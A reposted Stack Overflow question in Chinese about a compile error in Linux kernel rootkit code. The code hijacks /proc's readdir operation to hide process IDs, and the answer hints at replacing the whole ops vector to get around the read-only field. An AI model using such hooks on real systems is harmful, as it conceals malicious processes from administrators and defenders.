gpt4 book ai didi

c - 为什么我在只读对象中收到错误消息 "assignment of member ‘readdir’”

转载 作者:塔克拉玛干 更新时间:2023-11-03 00:24:01 27 4
gpt4 key购买 nike

当我编译这个文件时,它抛出以下错误。

kit.c: In function ‘hide_pid’://rootkit.c:109:9: error: assignment of member ‘readdir’ in read-only kit.c:
In function ‘restore’ 127
error: assignment of member ‘readdir’ in read-only object

有人知道为什么吗?

int hide_pid(readdir_t *orig_readdir, readdir_t new_readdir)
{
struct file *filep;

/*open /proc */
if((filep = filp_open("/proc",O_RDONLY,0))==NULL)
{
return -1;
}
/*store proc's readdir*/
if(orig_readdir)
*orig_readdir = filep->f_op->readdir;

/*set proc's readdir to new_readdir*/ //ERROR IN THE LINE BELOW
filep->f_op->readdir=new_readdir;

filp_close(filep,0);

return 0;
}


int restore (readdir_t orig_readdir)
{
struct file *filep;

/*open /proc */
if ((filep = filp_open("/proc", O_RDONLY, 0)) == NULL) {
return -1;
}

/*restore /proc's readdir*/ //ERROR BELOW
filep->f_op->readdir = orig_readdir;

filp_close(filep, 0);

return 0;
}

最佳答案

定义 ops vector (f_op) 的结构可能在其 readdir 字段的定义中使用了 const - 也可能是所有其他字段。设置自己的 ops vector 比替换现有 ops vector 中的一种或两种方法要正常得多。

关于c - 为什么我在只读对象中收到错误消息 "assignment of member ‘readdir’”,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/16311382/

27 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com